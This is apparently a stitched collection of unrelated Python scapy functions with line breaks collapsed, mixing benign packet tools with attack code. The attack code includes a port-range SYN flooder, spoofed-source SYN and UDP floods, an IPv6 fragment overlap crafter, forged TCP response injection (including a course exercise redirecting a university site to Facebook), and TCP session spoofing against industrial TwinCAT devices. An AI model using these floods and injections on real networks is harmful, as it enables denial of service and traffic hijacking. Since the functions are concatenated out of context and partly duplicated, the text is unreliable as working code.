def main(): intf = sys.argv[1] ipv6_src = sys.argv[2] ipv6_dst = sys.argv[3] ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src) padding = 8 fid = random.randint(0, 100000) frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0) frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=padding / 8) pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \ / sp.Raw('XXXX' * 199) \ / sp.AH(nh=FRAG_PROTO, payloadlen=1) \ / frag_1 pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding) pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding) sp.sendp(pkt0, iface=intf, verbose=False) sp.sendp(pkt1, iface=intf, verbose=False)
def setUp(self): """ Setup class for PingOfDeath. """ # Packet with load < 60000 self.pkt1 = scapy.IP(src="192.168.0.1") \ / scapy.ICMP() / scapy.Raw(load="*") # Packet with load > 60000 (attack) self.pkt2 = scapy.IP(src="192.168.0.1") \ / scapy.ICMP() / scapy.Raw(load="*" * 65535) # Initialize PingOfDeath object self.ping_of_death = PingOfDeath()
def forge_packet(packet): #Copies the real packet onto the fake packet fake_packet = deepcopy(packet) #Creates the ethernet header fake_packet[Ether].src = packet[Ether].dst fake_packet[Ether].dst = packet[Ether].src #Gives the fake packet a random ID fake_packet[IP].id = random.randint(1000, 100000) #Swaps the source and destination IP addresses since this is a response to a sent request fake_packet[IP].src = packet[IP].dst fake_packet[IP].dst = packet[IP].src #Swaps the source and destination TCP ports since this a response to a sent request fake_packet[TCP].sport = packet[TCP].dport fake_packet[TCP].dport = packet[TCP].sport #Makes the seq number that of the real packet's ack number, #and makes the new ack number the real packet's seq number plus the length of the packet fake_packet[TCP].seq = packet[TCP].ack fake_packet[TCP].ack = packet[TCP].seq + packet.len #If a data file has been provided as a source for the fake payload if args.datafile != None: f = open(args.datafile, "r") contents = f.read() print "Payload:\n" + str(scapy.Raw(contents)) fake_packet[TCP].payload = scapy.Raw(str(contents)) #If no data file was provided, a default fake payload is used else: print scapy.Raw("No payload provided, this is a fake packet!") fake_packet[TCP].payload = scapy.Raw( "No payload provided, this is a fake packet!") #The length and checksums of the fake packet are deleted so that they may be recalculated after the changes del (fake_packet[IP].len) del (fake_packet[IP].chksum) del (fake_packet[TCP].chksum) #Fragmentation is disabled for the fake packet so that the payload arrives in one packet fake_packet[IP].frag = 0 print 'Injected a fake packet with the ID %d as a fake response to the packet with the ID %d' % ( fake_packet[IP].id, packet[IP].id) return fake_packet
def synFlooder(src, dst, message): for dport in range(1024, 65535): IPlayer = scapy.IP(src=src, dst=dst) TCPlayer = scapy.TCP(sport=4444, dport=dport) RAWlayer = scapy.Raw(load=message) packet = IPlayer / TCPlayer / RAWlayer scapy.send(packet)
def IP_Route(): clear = os.system('clear') print("**************************************") print(" IP_Record_Route") print("**************************************") print("Please input your target's IP") target = input("[IP_Record_Route]#") src_ip = scapy.RandIP() num = 0 try: while True: packet = scapy.IP( src=src_ip, dst=target, ttl=128, options=scapy.IPOption_RR( copy_flag=0, length=39, routers=[ '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0' ])) / scapy.ICMP() / scapy.Raw( load=b'abcdefghijklmnopqrstuvwabcdefghi') scapy.send(packet, verbose=False) num += 1 print("Sent " + str(num) + "packets") except KeyboardInterrupt: print("Ctrl + C detected......")
def dnspunch(self): # punchpkt e = scapy.Ether(dst=self.router_mac) self.msg("sending punchies...") pkt = scapy.IP(src=self.server_ip, dst=self.attacker_ip) pkt /= scapy.UDP(sport=53, dport=53) pkt /= scapy.Raw("udp holepunch test") scapy.sendp(e / pkt, iface=self.interface) # rqpkt self.msg("sending DNS request to %s asking %s..." % (self.server_ip, self.domain)) pkt = scapy.IP(src=self.attacker_ip, dst=self.server_ip) pkt /= scapy.UDP(sport=53, dport=53) pkt /= scapy.DNS(rd=1, qd=scapy.DNSQR(qname=self.domain)) x, u = scapy.srp(e / pkt, timeout=5, iface=self.interface) self.msg('ok') for p in x[0]: p.show() if p[1].proto == 1: print "%s %s/%s" % (p[1].sprintf("%IP.src%"), p[1].sprintf("%ICMP.type%"), p[1].sprintf("%ICMP.code%")) else: p[1].show()
def packet_handler(packet): global memberDataLatest print(memberDataLatest) raw_pkt = scp.raw(packet) enableFlag = False if(b'Peer1' in raw_pkt and 'Peer1' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Peer1") data = str(raw_pkt[idx+5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Peer1" if(b'Peer2' in raw_pkt and 'Peer2' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Peer2") data = str(raw_pkt[idx+5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Peer2" if(b'Peer3' in raw_pkt and 'Peer3' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Peer3") data = str(raw_pkt[idx+5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Peer3" if ((b'Peer1' in raw_pkt) or (b'Peer2' in raw_pkt) or (b'Peer3' in raw_pkt)) and enableFlag: mData = data if int(mData[0]) > memberDataLatest[name]: memberDataLatest[name] = int(mData[0]) mData[-1] = str(time.time()) memberData[name].append(mData) for member in members: pkt = scp.IP(dst=members[member])/scp.ICMP()/scp.Raw(load=msg2) scp.send(pkt) if len(memberData[name]) > bufferSize: memberData[name].pop(0)
def getUDPInfo(oAdapter, sTargetIP): data = '03661471 0000000001000000' + ipToHex(oAdapter[1] + '.1.1') + '1027 00000000' oIP = scapy.IP(dst=sTargetIP) oUDP = scapy.UDP(sport=random.randint(1024, 65535), dport=48899) oLoad = scapy.Raw(load=binascii.unhexlify(data.replace(' ', ''))) oResp = scapy.sr1(oIP / oUDP / oLoad, timeout=iTIMEOUT) if oResp is None: print('[!] Error, device not responding to TwinCAT discovery packets!') return dResp = oResp.getlayer(scapy.Raw).load sResp = binascii.hexlify(dResp) sNetid = hexToIP(sResp[24:36]) namelength = int(sResp[54:56] + sResp[52:54], 16) sName = str(dResp[28:27 + namelength]) i = ((27 + namelength) * 2) + 18 sPreKernel = ''.join( map(str.__add__, sResp[i:i + 24][-2::-2], sResp[i:i + 24][-1::-2])) sKernel = str(int(sPreKernel[16:24], 16)) + '.' + str( int(sPreKernel[8:16], 16)) + '.' + str(int(sPreKernel[:8], 16)) i += (24 + 528) sTCVer = str(int(sResp[i:i + 2], 16)) + '.' + str( int(sResp[i + 2:i + 4], 16)) + '.' + str( int((''.join( map(str.__add__, sResp[i + 4:i + 8][-2::-2], sResp[i + 4:i + 8][-1::-2]))), 16)) print('[+] IP: ' + sTargetIP + ', NAME: ' + sName + ', RNETID: ' + sNetid + ', TCVer: ' + sTCVer + ', WinVer: ' + sKernel) return sNetid
def rx_from_emulator(emu_rx_port, interface): ''' Receives 0mq messages from emu_rx_port args: emu_rx_port: The port number on which to listen for messages from the emulated software ''' global __run_server #global __host_socket topic = "Peripheral.EthernetModel.tx_frame" context = zmq.Context() mq_socket = context.socket(zmq.SUB) mq_socket.connect("tcp://localhost:%s" % emu_rx_port) mq_socket.setsockopt(zmq.SUBSCRIBE, topic) while (__run_server): msg = mq_socket.recv_string() # print "Got from emulator:", msg topic, data = decode_zmq_msg(msg) frame = data['frame'] # if len(frame) < 64: # frame = frame +('\x00' * (64-len(frame))) p = scapy.Raw(frame) scapy.sendp(p, iface=interface) # __host_socket.send(frame) print("Sending Frame (%i) on eth: %s" % (len(frame), binascii.hexlify(frame)))
def get_tcp_injection_packet(packet): """ If the given packet is an attempt to access the course website, create a IP+TCP packet that will redirect the user to Facebook by sending them the `RESPONSE` from above. """ if q1.packet_filter(packet): if packet[S.TCP].load.find('GET'): ip = packet.getlayer(S.IP) #packet[S.IP] tcp = packet.getlayer(S.TCP) #packet[S.TCP] # IP layer of the response packet: # Warpping the IP packet with a TCP layer and setting # source port to match the original source port # and destination port to be 80 for HTTP. # Also sets the TCP flags to Acknowldeged and Finish (FA). # Finally we set the sequence number to be the ack number of the packet # and the ack number to be the seq number of the packet + the length of the tcp layer. # Appending the load to the packet return S.IP(dst=ip.src, src=ip.dst) / S.TCP( dport=ip.sport, sport=ip.dport, flags='FA', seq=tcp.ack, ack=tcp.seq + len(tcp.payload)) / S.Raw(load=RESPONSE) return None
def sender(): global mode while(1): #generate GPS location print("MODE: ",mode) if mode == "explore": GPIO.output(18,GPIO.HIGH) time.sleep(0.1) GPIO.output(18,GPIO.LOW) if mode == "emergency": GPIO.output(18,GPIO.HIGH) global myseq lat = randint(0,10) lon = randint(0, 10) ts = time.time() try: msg = myname+","+str(myseq)+","+str(lat)+","+str(lon)+","+str(ts) myseq += 1 for member in members: packet = scp.IP(dst=members[member])/scp.ICMP()/scp.Raw(load=msg) #scp.sendp(packet, iface='wlan0') #print("Sent "+msg) scp.send(packet) except: print('cannot send message') #print("before i go to sleep") time.sleep(delay)
def configure_Raw_layer(lcd, lcd_lock): """Configures a scapy Raw layer.""" msg_options = [ "Here's a message\nFinis", 'Hello, world!', '-Insert message\n here-', 'This message is\nthe longest one.' ] with lcd_lock: msg = msg_options[lcd.get_input(msg_options)] return scapy.Raw(msg)
def setLoad(packet, loadvalue): # set the load part of the packet to the custom one packet[scapy.Raw] = scapy.Raw(load=loadvalue) # delete the values of the redundant fields so they are recalculated automatically del packet[scapy.IP].len del packet[scapy.IP].chksum del packet[scapy.TCP].chksum return packet
def synPacket(tragetIp, tragetPort, networkIp): ip = scapy.IP(dst=networkIp, src=tragetIp) tcp = scapy.TCP(sport=scapy.RandShort(), dport=tragetPort, flags='S') raw = scapy.Raw(b"x" * 1024) packet = ip / tcp / raw scapy.send(packet, loop=0, verbose=0)
def runCommand(command, interface): if command == "clear": subprocess.run(["clear"]) print("Zoomba Controller Shell") elif command == "exit": sys.exit("exiting...") else: fullCommand = "zoomba: '"+command+"'" packet = scapy.IP(dst = zoomba.ip, src = getOwnIp(interface)) / scapy.Raw(load=fullCommand) scapy.send(packet, verbose=False)
def sendPackets(self, port): """Farklı ip adreslerinden ve farklı portlardan hedef ip adresine paket gönderir.""" try: with self.packetLock: ipPacket = scapy.IP(src=self.createIpAddress(), dst=self.targetIp) udpPacket = scapy.UDP(sport=port, dport=135) combinedPacket = ipPacket / udpPacket scapy.send(combinedPacket / scapy.Raw(load=self.randomData), verbose=False) except: pass
def ping(send_if, dst_ip, args): ether = sp.Ether() ip = sp.IP(dst=dst_ip) icmp = sp.ICMP(type='echo-request') raw = sp.Raw(str(PAYLOAD_MAGIC)) if args.send_tos: ip.tos = int(args.send_tos[0]) req = ether / ip / icmp / raw sp.sendp(req, iface=send_if, verbose=False)
def send_icmp_on_interface(self, interface_name,src_mac, dst_mac, src_ip, dst_ip, payload): """Send ICMP Request over qbr device. """ src_ip = str(src_ip) dst_ip = str(dst_ip) src_mac = str(src_mac) dst_mac = str(dst_mac) payload = str(payload) interface_name = str(interface_name) ip = scapy.IP(src=src_ip,dst=dst_ip) icmp = scapy.ICMP() packet = scapy.Ether(src=src_mac, dst=dst_mac)/ ip / icmp / scapy.Raw(load=payload) scapy.sendp(packet, iface=interface_name)
def set_attribute(self, class_id, instance, attr, value): """Set the value of attribute class/instance/attr""" path = CIP_Path.make(class_id=class_id, instance_id=instance) # User CIP service 4: Set_Attribute_List cippkt = CIP(service=4, path=path) / scapy_all.Raw(load=struct.pack('<HH', 1, attr) + value) self.send_rr_cm_cip(cippkt) if self.sock is None: return resppkt = self.recv_enippkt() cippkt = resppkt[CIP] if cippkt.status[0].status != 0: logger.error("CIP set attribute error: %r", cippkt.status[0]) return False return True
def size_and_gen_packet(lcd, lcd_lock, packet): """Sizes an arbitrary packet, padding with null bytes or truncating.""" with lcd_lock: ptemp = generate_packet(packet) size = int( lcd.get_input('Size(bytes):\n%i%i%i%i', '%04d' % len(ptemp))[13:]) if size < len(ptemp): lcd.clear() lcd.message('Warning:\nTruncating Pkt') time.sleep(2) padsize = size - len(ptemp) if padsize > 0: packet.append(scapy.Raw('\x00' * padsize)) return scapy.Ether(str(generate_packet(packet))[:size])
def spoofTCPPacket(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket): # SYN sport = random.randint(1024, 65535) ip = scapy.IP(src=sSrcIP, dst=sTargetIP) SYN = scapy.TCP(sport=sport, dport=iDPort, flags='S', seq=1000) SYNACK = scapy.sr1(ip / SYN, timeout=iTIMEOUT) if SYNACK is None: return SYNACK ## No SYN/ACK back, ARP Spoofing problem or port not open # ACK ACK = scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1) scapy.send(ip / ACK) # TCP DATA scapy.conf.verb = 0 oIP = scapy.IP(src=sSrcIP, dst=sTargetIP) oTCP = scapy.TCP(sport=sport, dport=iDPort, flags='PA', seq=SYNACK.ack, ack=SYNACK.seq + 1) oRAW = scapy.Raw(load=dPacket) oResp = scapy.sr1(oIP / oTCP / oRAW, timeout=iTIMEOUT) # FIN FINACK = None if not oResp is None: FIN = scapy.TCP(sport=sport, dport=iDPort, flags='FA', seq=oResp.ack, ack=oResp.seq + 1) FINACK = scapy.sr1(ip / FIN, timeout=iTIMEOUT) if not FINACK is None: LASTACK = scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=FINACK.ack, ack=FINACK.seq + 1) scapy.send(ip / LASTACK) # RST #RST=scapy.TCP(sport=sport, dport=iDPort, flags='R', seq=SYNACK.ack, ack=SYNACK.seq + 1) #scapy.send(ip/RST) return oResp
def send(self, payload: str): """ Receives a payload and sends it to the client. Payloads bigger than MTU will be split to multiple packets Args: payload (str/bytes): a TCP payload """ for payload in self._split_payload(payload, MAX_PAYLOAD_LENGTH): p = self.ip / scapy.TCP(sport=self.src_port, dport=self.dst_port, flags="PA", seq=self.seq, ack=self.ack) / scapy.Raw(payload) self.s.send(p) self.seq += len(payload)
def make_packet(): """ Make a ping packet for example purposes. """ ether = scapy.Ether( src='fe:ed:ad:ea:dc:0d', dst='d0:cd:ae:da:de:ef', type=2048, ) ip = scapy.IP( # pylint: disable=invalid-name frag=0, src='192.0.2.201', proto=1, tos=0, dst='203.0.113.102', chksum=22360, len=84, options=[], version=4, flags=2, ihl=5, ttl=64, id=4492, ) icmp = scapy.ICMP( gw=None, code=0, ts_ori=None, addr_mask=None, seq=101, ptr=None, unused=None, ts_rx=None, chksum=49274, reserved=None, ts_tx=None, type=8, id=3408, ) data = scapy.Raw(load='some-data', ) packet = ether / ip / icmp / data return packet
def configure_Raw_layer(lcd, lcd_lock): """Configures a scapy Raw layer. Args: lcd (LCD_Input_Wrapper object): the lcd screen to interact with lcd_lock(RLock object): the lock associated with the screen Returns: str: the chosen message. """ msg_options = [ "Here's a message\nFinis", 'Hello, world!', '-Insert message\n here-', 'This message is\nthe longest one.' ] with lcd_lock: msg = msg_options[lcd.get_input(msg_options)] return scapy.Raw(msg)
def send(self, pack): """ send(pack) send @pack to host in IP/UDP packet and sniff if it was sent """ print("sending \'{}...\' to {}".format(pack[:PACK_PREVIEW_LEN], self.ip)) #start sniffing thread to make sure our pack was sent thread = threading.Thread( target=self.__sniff_confirm, args=(pack,)) thread.start() time.sleep(DELAY) #w8 some time to be able to catch this packet #constructing pack ip_pack = scapy.IP(dst=self.ip)/scapy.UDP(sport=PORT, dport=PORT)/scapy.Raw(pack) #sending pack scapy.send(ip_pack, verbose=False) #waiting for the thread to finish(it runs for SNIFF_TIMEOUT seconds) thread.join()
def get_tcp_injection_packet(packet): """ If the given packet is an attempt to access the course website, create a IP+TCP packet that will redirect the user to Facebook by sending them the `RESPONSE` from above. """ if (str(packet[S.TCP]).find("Host: infosec.cs.tau.ac.il") > -1): # and str(packet[S.TCP]).find(WEBSITE)>-1): #if(packet[S.IP].dst == socket.gethostbyname(WEBSITE) or str(packet[S.TCP]).find("GET /2018/ HTTP/1.1") >-1 or str(packet[S.TCP]).find("GET /2018/login HTTP/1.1")>-1 or str(packet[S.TCP]).find("GET / HTTP/1.1")>-1): tcp = packet[S.TCP] ip = packet[S.IP] p = S.IP(dst = ip.src ,src = ip.dst)/S.TCP(dport = tcp.sport,\ flags = "FA",sport =80 \ ,seq = tcp.ack,ack =tcp.seq+len(packet[S.Raw]))/S.Raw(load =RESPONSE) S.send(p)
def create_packets(self): self.msg("creating packets") lasthop = 32 packets = [] for ttl in range(0, lasthop + 1)[::-1]: # self.msg("ttl = %d" % ttl) pkt = scapy.IP(dst=self.target, ttl=ttl, id=ttl) if self.proto == "tcp": pkt /= scapy.TCP(sport=12345, dport=self.port, flags="S") elif self.proto == "udp": pkt /= scapy.UDP(sport=12345, dport=self.port) elif self.proto == "icmp": pkt /= scapy.ICMP() / scapy.Raw(chr(ttl)) else: self.usage() sys.exit(1) packets.append(pkt) self.msg("finished, %d packets" % len(packets)) return packets
def get_tcp_injection_packet(packet): """ If the given packet is an attempt to access the course website, create a IP+TCP packet that will redirect the user to Facebook by sending them the `RESPONSE` from above. """ packet_str = str(packet) if packet_str.find(WEBSITE) and packet_str.find("GET"): ip = packet.getlayer(S.IP) tcp = packet.getlayer(S.TCP) ip_pkt = S.IP(dst=ip.src, src=ip.dst) tcp_pkt = S.TCP(dport=ip.sport, sport=ip.dport, flags="AF", seq=tcp.ack, ack=tcp.seq + 1) http_pkt = S.Raw(load=RESPONSE) # craft a http repsonse packet (contained in ip and tcp layers) response_pkt = ip_pkt / tcp_pkt / http_pkt return response_pkt
def get_tcp_injection_packet(packet): """ If the given packet is an attempt to access the course website, create a IP+TCP packet that will redirect the user to Facebook by sending them the `RESPONSE` from above. """ if packet.haslayer(S.Raw): lines = str(packet.getlayer(S.Raw)).split("\r\n") if lines: if lines[1] == "Host: infosec.cs.tau.ac.il" and "GET" in lines[ 0] and packet.haslayer('TCP') and packet[ S.TCP].dport == 80: new_packet = S.IP( dst=packet[S.IP].src, src=packet[S.IP].dst) / S.TCP( sport=packet[S.TCP].dport, dport=packet[S.TCP].sport, flags='FA', seq=packet[S.TCP].ack, ack=packet[S.TCP].seq + len(packet[S.TCP].payload)) / S.Raw(load=RESPONSE) return new_packet return None
def packet_handler(packet): global memberDataLatest print(memberDataLatest) raw_pkt = scp.raw(packet) #location format: <name>,<sequence>,<lat>,<long>,<timeStamp> enableFlag = False if (b'Chal' in raw_pkt and 'Chal' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Chal") data = str(raw_pkt[idx + 5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Chal" if (b'Oata' in raw_pkt and 'Oata' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Oata") data = str(raw_pkt[idx + 5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Oata" if (b'Bone' in raw_pkt and 'Bone' in acceptedMembers): enableFlag = True idx = raw_pkt.index("Bone") data = str(raw_pkt[idx + 5:]).strip().split(',') msg2 = raw_pkt[idx:].strip() name = "Bone" if ((b'Oata' in raw_pkt) or (b'Chal' in raw_pkt) or (b'Bone' in raw_pkt)) and enableFlag: mData = data #print("mData = "+str(mData)) if int(mData[0]) > memberDataLatest[name]: #print("inner mData = "+str(mData)) memberDataLatest[name] = int(mData[0]) mData[-1] = str(time.time()) memberData[name].append(mData) for member in members: pkt = scp.IP(dst=members[member]) / scp.ICMP() / scp.Raw( load=msg2) scp.send(pkt) if len(memberData[name]) > bufferSize: memberData[name].pop(0)